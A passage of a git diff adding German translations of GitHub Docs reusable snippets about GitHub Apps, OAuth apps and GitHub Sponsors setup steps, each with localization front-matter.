+Du kannst vorübergehend einen {% data variables.product.prodname_github_app %}-Zugriff auf die Ressourcen deines Kontos blockieren, indem du die App sperrst.
diff --git a/translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_github_apps.md b/translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_github_apps.md
new file mode 100644
index 0000000000..1b33bcff72
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d1f3563cdcbc4a4cd6d4b9bdd4ad041a60fe5d98
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145134093"
+---
+Du kannst den Besitz einer GitHub-App an einen anderen Benutzer oder eine andere Organisation übertragen.
diff --git a/translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md
new file mode 100644
index 0000000000..d0ba7e6aab
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 66e880ef2dbc9d75e3fa0fb981b615f2f8e938d0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133757"
+---
+Du kannst den Besitz einer OAuth-App an einen anderen Benutzer oder eine andere Organisation übertragen.
diff --git a/translations/de-DE/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md
new file mode 100644
index 0000000000..6060358851
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b604cee5b4c0534a7f4a60430de67679f1458c59
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134089"
+---
+Beim Austauschen eines Codes gegen ein Zugriffstoken gibt es eine zusätzliche Reihe von Fehlern, die auftreten können. Das Format dieser Antworten wird durch den übergebenen Annahmeheader bestimmt.
diff --git a/translations/de-DE/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md
new file mode 100644
index 0000000000..bf7c0d5dfd
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e9c90f2454279c10a7bac3124823f4ebb6243ab6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133754"
+---
+Beim Abrufen eines OAuth-Tokens für einen Benutzer können während der ersten Autorisierungsanforderungsphase einige Fehler auftreten.
diff --git a/translations/de-DE/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md
new file mode 100644
index 0000000000..c7b3f97fab
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 59c430b23111d1bbd23014a9312097a4786f5827
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884843"
+---
+Anhand von Bereichen kannst du genau angeben, welche Art von Zugriff du benötigst. Bereiche _beschränken_ den Zugriff für OAuth-Token. Sie gewähren keine zusätzlichen Berechtigungen über diejenigen hinaus, die der Benutzer bereits besitzt.
diff --git a/translations/de-DE/data/reusables/sponsors/accept-legal-terms.md b/translations/de-DE/data/reusables/sponsors/accept-legal-terms.md
new file mode 100644
index 0000000000..d12b338387
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/accept-legal-terms.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4947f67328d3232a366dab8c58b52092c1f95e88
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133753"
+---
+1. Überprüfe [ Zusätzliche Bestimmungen für {% data variables.product.prodname_sponsors %}](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms) und [Datenschutzbestimmungen für {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-privacy-statement), und klicke dann auf **Beitreten zur Warteliste**.
diff --git a/translations/de-DE/data/reusables/sponsors/add-active-triggers.md b/translations/de-DE/data/reusables/sponsors/add-active-triggers.md
new file mode 100644
index 0000000000..77d766110b
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/add-active-triggers.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2e47ec8690aab025154f3b1f1bc8cfb0e8e5a793
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132829"
+---
+1. Um Updates für das SponsorshipEvent zu erhalten, wähle **Aktiv** aus.
+   ![Aktive Ereignisse auswählen](/assets/images/help/sponsors/webhook-active.png)
diff --git a/translations/de-DE/data/reusables/sponsors/add-introduction.md b/translations/de-DE/data/reusables/sponsors/add-introduction.md
new file mode 100644
index 0000000000..309ea4dff9
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/add-introduction.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7d74bb2f55c8d4c373c4a54da2cf711c0293099e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134082"
+---
+1. Gib unter "Introduction" (Einführung) eine Beschreibung der Arbeit ein, die Du mit Deinen Sponsorenbeiträgen leisten wirst.
+  ![Textfeld „Profildetails“](/assets/images/help/sponsors/introduction-box.png)
diff --git a/translations/de-DE/data/reusables/sponsors/add-more-tiers.md b/translations/de-DE/data/reusables/sponsors/add-more-tiers.md
new file mode 100644
index 0000000000..17a4493d20
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/add-more-tiers.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 633ff698948c38ddabdf4ba35a3a4640a6aea788
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132826"
+---
+  1. Wiederhole die obigen Schritte, bis Du alle Stufen veröffentlicht hast, die Du anbieten möchtest.
diff --git a/translations/de-DE/data/reusables/sponsors/add-payload-url.md b/translations/de-DE/data/reusables/sponsors/add-payload-url.md
new file mode 100644
index 0000000000..74e24b6e41
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/add-payload-url.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d5e1fe4e6d8e03c4679ee87576826a69bd4567f1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134078"
+---
+1. Gib eine Nutzlast-URL ein, und passe dann optional die Konfiguration an. Weitere Informationen findest du unter [Erstellen von Webhooks](/webhooks/creating/#creating-webhooks).
+   ![Felder für die Nutzlast-URL und andere Anpassungsoptionen](/assets/images/help/sponsors/webhook-payload-url.png)
diff --git a/translations/de-DE/data/reusables/sponsors/add-webhook.md b/translations/de-DE/data/reusables/sponsors/add-webhook.md
new file mode 100644
index 0000000000..a1dea34b4d
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/add-webhook.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 292f9b65321ba774d93b5b3e859c86f36a648659
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132825"
+---
+1. Klicke auf **Add webhook** (Webhook hinzufügen).
+  ![Schaltfläche „Add webhook“ (Webhook hinzufügen) in der Webhook-Seitenleiste](/assets/images/help/sponsors/add-webhook-sponsors-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/add-welcome-message.md b/translations/de-DE/data/reusables/sponsors/add-welcome-message.md
new file mode 100644
index 0000000000..53886497b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/add-welcome-message.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d8d969b325214cbd3acdf121d456bf6cfac33b5e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881405"
+---
+1. Gib optional eine Willkommensnachricht für die Ebene ein.
+   ![Hinzufügen einer Willkommensnachricht](/assets/images/help/sponsors/add-a-welcome-message.png)
diff --git a/translations/de-DE/data/reusables/sponsors/beta-note-sponsors-for-companies.md b/translations/de-DE/data/reusables/sponsors/beta-note-sponsors-for-companies.md
new file mode 100644
index 0000000000..4fd46c7c79
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/beta-note-sponsors-for-companies.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: f1fdec5e93537f11e68bbce1993206231eeed92a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132822"
+---
+{% note %}
+
+**Hinweis:** Der Sponsorendienst für Unternehmen liegt derzeit in Beta und kann geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/sponsors/billing-switcher.md b/translations/de-DE/data/reusables/sponsors/billing-switcher.md
new file mode 100644
index 0000000000..44570d7c2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/billing-switcher.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b77357152c99fb5c670c36f6976bd2000bb887ec
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134073"
+---
+1. Wenn du das Sponsoring im Namen einer Organisation verwalten möchtest, wähle oben links das Dropdownmenü **Persönliche Einstellungen** aus, und klicke auf die Organisation.
+    ![Dropdownmenü zum Kontowechsel für Einstellungen](/assets/images/help/sponsors/billing-account-switcher.png)
diff --git a/translations/de-DE/data/reusables/sponsors/change-tier.md b/translations/de-DE/data/reusables/sponsors/change-tier.md
new file mode 100644
index 0000000000..9361abcceb
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/change-tier.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1401aa774430ad1d83193c6f857116e68bc3959a
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132821"
+---
+1. Klicke unter „{% data variables.product.prodname_sponsors %}“ rechts neben dem gesponserten Konto neben deiner Stufenzahl auf {% octicon "triangle-down" aria-label="The down triangle octicon" %}, und klicke dann auf **Stufe ändern**.
+  ![Schaltfläche „Stufe ändern“](/assets/images/help/billing/edit-sponsor-billing.png)
diff --git a/translations/de-DE/data/reusables/sponsors/choose-updates.md b/translations/de-DE/data/reusables/sponsors/choose-updates.md
new file mode 100644
index 0000000000..86bab32ebf
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/choose-updates.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: dfe651fd84ff05cb30acae74e159462cc66dbf54
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134069"
+---
+4. Wähle aus, ob du E-Mail-Updates vom gesponserten Konto erhalten möchtest. Aktiviere oder deaktiviere anschließend „E-Mail-Updates von _KONTO_ erhalten“.
+  ![Kontrollkästchen für den Empfang von Updates vom gesponserten Konto](/assets/images/help/sponsors/updates-checkbox-manage.png)
diff --git a/translations/de-DE/data/reusables/sponsors/click-add-tier.md b/translations/de-DE/data/reusables/sponsors/click-add-tier.md
new file mode 100644
index 0000000000..3ced8d630a
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/click-add-tier.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: bc167d437cad2611b1fd4604bfbb0e3530cbee9e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132818"
+---
+1. Wenn du einen Monatstarif erstellen möchtest, klicke rechts neben der Seite auf **Monatstarif erstellen**. Alternativ kannst du einen Tarif für einmalige Zahlungen erstellen. Klicke dazu auf **Tarife für einmalige Zahlungen**, und klicke dann auf **Tarif mit einmaliger Zahlung hinzufügen**.
+  ![Schaltfläche zum Hinzufügen eines Tarifs](/assets/images/help/sponsors/add-a-tier-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/confirm-add-webhook.md b/translations/de-DE/data/reusables/sponsors/confirm-add-webhook.md
new file mode 100644
index 0000000000..e72ec9cf8b
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/confirm-add-webhook.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5d4c425e0377edab3bc2791781eee3294251a7be
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134062"
+---
+1. Klicke auf **Webhook erstellen**.
+![Schaltfläche „Webhook erstellen“ auf der Randleiste für Webhooks](/assets/images/help/sponsors/create-webhook-sponsors-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/contact-info.md b/translations/de-DE/data/reusables/sponsors/contact-info.md
new file mode 100644
index 0000000000..4a55fb247c
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/contact-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 934ad530202d033d8066201ff710e0ea7bb9d34e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132817"
+---
+1. Folge den Anweisungen, um Deine Kontaktinformationen zu vervollständigen.
diff --git a/translations/de-DE/data/reusables/sponsors/create-stripe-account.md b/translations/de-DE/data/reusables/sponsors/create-stripe-account.md
new file mode 100644
index 0000000000..e930c2971a
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/create-stripe-account.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 413e4ca11d82e946f92c01959461e8f930797caa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134058"
+---
+1. Klicke auf **Stripe Connect-Konto**.
+  ![Link zum Erstellen eines „Stripe Connect"-Kontos](/assets/images/help/sponsors/create-stripe-connect-account.png)
+2. Folge den Anweisungen, um Dein Konto zu erstellen.
diff --git a/translations/de-DE/data/reusables/sponsors/double-check-stripe-info.md b/translations/de-DE/data/reusables/sponsors/double-check-stripe-info.md
new file mode 100644
index 0000000000..9908c48c75
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/double-check-stripe-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2f18217fbcc8c96d873befbeec0c54475f5e65ee
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132814"
+---
+Stelle bei der Bewerbung für ein „Stripe Connect"-Konto sicher, dass alle Deine Informationen richtig sind, bevor Du Deine Bewerbung absendest. Nach dem Absenden Deiner Bewerbung ist es schwierig, Identitätsinformationen wie Deinen Name oder das Geburtsdatum zu aktualisieren.
diff --git a/translations/de-DE/data/reusables/sponsors/draft-new-update.md b/translations/de-DE/data/reusables/sponsors/draft-new-update.md
new file mode 100644
index 0000000000..608aa79410
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/draft-new-update.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e9f1496639c34f08e72fbf014b8a57a56ecee446
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134053"
+---
+4. Klicke rechts neben „Neuigkeiten per E-Mail an deine Sponsoren senden“ auf **Neuigkeiten entwerfen**.
+  ![Schaltfläche für Neuigkeiten](/assets/images/help/sponsors/new-update-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/edit-bank-information.md b/translations/de-DE/data/reusables/sponsors/edit-bank-information.md
new file mode 100644
index 0000000000..0108328098
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/edit-bank-information.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 33d367b90bd3b0d815c4de5bffcd58fdc5dd6526
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145132793"
+---
+4. Klicke unter „Auszahlungsinformationen“ auf **Bankdaten bearbeiten**.
+   ![Link „Bankdaten bearbeiten“](/assets/images/help/sponsors/edit-bank-info.png)
diff --git a/translations/de-DE/data/reusables/sponsors/edit-featured-work.md b/translations/de-DE/data/reusables/sponsors/edit-featured-work.md
new file mode 100644
index 0000000000..ac7aa37384
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/edit-featured-work.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2131ad8b1ad3e22b6dc59c4bc50e4f85a568881c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134050"
+---
+1. Wähle optional die Repositorys aus, die auf Deinem {% data variables.product.prodname_sponsors %}-Profil präsentiert werden.
+    - Klicke rechts neben „Empfohlene Arbeit“ auf **Bearbeiten**.
+      ![Schaltfläche „Bearbeiten“ für empfohlene Arbeit](/assets/images/help/sponsors/featured-work-edit-button.png)
+    - Wähle bis zu 6 Repositorys aus, und klicke dann auf **Speichern**.
+      ![Kontrollkästchen zum Auswählen von Repositorys](/assets/images/help/sponsors/featured-work-select.png)
diff --git a/translations/de-DE/data/reusables/sponsors/edit-goal.md b/translations/de-DE/data/reusables/sponsors/edit-goal.md
new file mode 100644
index 0000000000..60d6328abf
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/edit-goal.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e292edd57a8fc19e17d6203c7fcb9ee2ebcd69e0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132790"
+---
+1. Klicke rechts neben deinem Ziel auf **Bearbeiten**.
+![Schaltfläche „Bearbeiten“](/assets/images/help/sponsors/edit-goal-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/edit-tier.md b/translations/de-DE/data/reusables/sponsors/edit-tier.md
new file mode 100644
index 0000000000..5c9dc2ffff
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/edit-tier.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6ad427905405dd0eb852313aa83752897c26bdea
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134049"
+---
+1. Klicke rechts neben dem zu bearbeitenden Tarif auf **Bearbeiten**.
+  ![Schaltfläche „Tarif bearbeiten“](/assets/images/help/sponsors/edit-tier-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/enable-custom-amounts.md b/translations/de-DE/data/reusables/sponsors/enable-custom-amounts.md
new file mode 100644
index 0000000000..80a971cbf0
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/enable-custom-amounts.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 678ee22816d94082a8eca61c6681fd7736ee432c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132789"
+---
+1. Wenn du mindestens eine Ebene hast, wird eine Option angezeigt, um benutzerdefinierte Beträge über den Ebenen der monatlichen und einmaligen Nutzung zu aktivieren. Wenn du Projektsponsoren erlauben möchtest, ihren Zahlungsbetrag festzulegen, wähle dann **benutzerdefinierte Beträge aktivieren**.
+  ![Aktivieren von benutzerdefinierten Beträgen](/assets/images/help/sponsors/enable-custom-amounts.png)
+1. Wenn du benutzerdefinierte Beträge aktivierst, kannst du optional einen Standardbetrag festlegen, der für die benutzerdefinierten Ebenen angezeigt werden soll. Gib einen ganzen Währungsbetrag an und klicke auf **Standardbetrag festlegen**.
+  ![Festlegen eines Standardbetrags](/assets/images/help/sponsors/set-default-amount.png)
diff --git a/translations/de-DE/data/reusables/sponsors/feedback.md b/translations/de-DE/data/reusables/sponsors/feedback.md
new file mode 100644
index 0000000000..83552d02b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/feedback.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2dc8e766b8f52da783dfc4cc7318e302503c05a4
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147432152"
+---
+Du kannst dein Feedback zu {% data variables.product.prodname_sponsors %} mit {% data variables.product.company_short %} teilen. Informationen zum Teilnehmen an der Unterhaltung findest du unter [Feedback zu Sponsors](https://github.com/orgs/community/discussions/categories/sponsors).
diff --git a/translations/de-DE/data/reusables/sponsors/github-contact-applicants.md b/translations/de-DE/data/reusables/sponsors/github-contact-applicants.md
new file mode 100644
index 0000000000..45211e07e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/github-contact-applicants.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ec1e62688e78b50c979b7e64f009989a09660a56
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132784"
+---
+{% data variables.product.prodname_dotcom %} kann {% data variables.product.prodname_sponsors %}-Bewerber oder -Teilnehmer kontaktieren, um weitere Informationen bezüglich ihres Sponsoring-Profils oder ihrer Aktivität zu erhalten, um die Berechtigung für Sponsoring oder Matching zu ermitteln oder im Rahmen der Untersuchung potenzieller Vertragsverletzungen.
diff --git a/translations/de-DE/data/reusables/sponsors/github-review-app.md b/translations/de-DE/data/reusables/sponsors/github-review-app.md
new file mode 100644
index 0000000000..266110e179
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/github-review-app.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cdd8a22d4c3669903f04f62f483c05a3d5fd24fe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132783"
+---
+Es kann ein paar Tage dauern, bis {% data variables.product.prodname_dotcom %} Ihren Antrag prüft. Wenn wir Ihren Antrag genehmigt haben, wird Ihr Profil automatisch auf [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) freigeschaltet.
diff --git a/translations/de-DE/data/reusables/sponsors/legal-additional-terms.md b/translations/de-DE/data/reusables/sponsors/legal-additional-terms.md
new file mode 100644
index 0000000000..ef2e2cbe3c
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/legal-additional-terms.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6e1ad7077fc4f01d7242003b7bd5a95c555ec6ac
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876773"
+---
+Der {% data variables.product.prodname_matching_fund %} ist ein Geschenk zur Förderung der Gemeinschaftsfinanzierung für Arbeit an Open Source und unterliegt zusätzlichen Bedingungen. Ausführliche Informationen zu {% data variables.product.prodname_matching_fund %} findest du unter [{% data variables.product.prodname_sponsors %} Zusätzliche Bestimmungen](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms).
diff --git a/translations/de-DE/data/reusables/sponsors/manage-existing-webhooks.md b/translations/de-DE/data/reusables/sponsors/manage-existing-webhooks.md
new file mode 100644
index 0000000000..d9ad9297f0
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/manage-existing-webhooks.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b1b7a04ce1b608d0a99c8cd5173d85876ef5b2b8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132777"
+---
+1. Klicke zum Bearbeiten eines vorhandenen Webhooks auf **Bearbeiten**. Klicke zum Entfernen eines vorhandenen Webhooks auf **Löschen**.
+  ![Schaltflächen für die Verwaltung von Webhooks](/assets/images/help/sponsors/webhook-edit-delete-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/manage-sponsorship.md b/translations/de-DE/data/reusables/sponsors/manage-sponsorship.md
new file mode 100644
index 0000000000..59c903ee8e
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/manage-sponsorship.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 00a87a16f340374b8c7c457909eb90327a356aec
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132772"
+---
+1. Klicke rechts neben ihrer aktuellen Ebene auf **Verwalten**.
+  ![Schaltfläche Verwalte Dein Sponsoring](/assets/images/help/sponsors/manage-your-sponsorship-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/manage-updates-for-orgs.md b/translations/de-DE/data/reusables/sponsors/manage-updates-for-orgs.md
new file mode 100644
index 0000000000..2c58b25862
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/manage-updates-for-orgs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a721669908749ca068e9556799a921a1cca19bd7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132771"
+---
+Du kannst festlegen, welche E-Mail-Adresse Updates von den Konten erhält, die von deiner Organisation gesponsert werden. Weitere Informationen findest du unter [Verwalten von Updates von Konten, die von deiner Organisation gesponsert werden](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors).
diff --git a/translations/de-DE/data/reusables/sponsors/matching-fund-eligible.md b/translations/de-DE/data/reusables/sponsors/matching-fund-eligible.md
new file mode 100644
index 0000000000..8b8d92fe63
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/matching-fund-eligible.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d4a1fb5ee15b8c2a8d272ec57a5b23d41e9a503b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132766"
+---
+Die Berechtigung für {% data variables.product.prodname_matching_fund %} ist abgelaufen. Anträge, die nach dem Stichtag vom 1. Januar 2020 eingegangen sind, haben keinen Anspruch auf {% data variables.product.prodname_matching_fund %}.
diff --git a/translations/de-DE/data/reusables/sponsors/maximum-tier.md b/translations/de-DE/data/reusables/sponsors/maximum-tier.md
new file mode 100644
index 0000000000..c065225ee6
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/maximum-tier.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e0f24455792948cb0b9969320f4a4227651564e4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
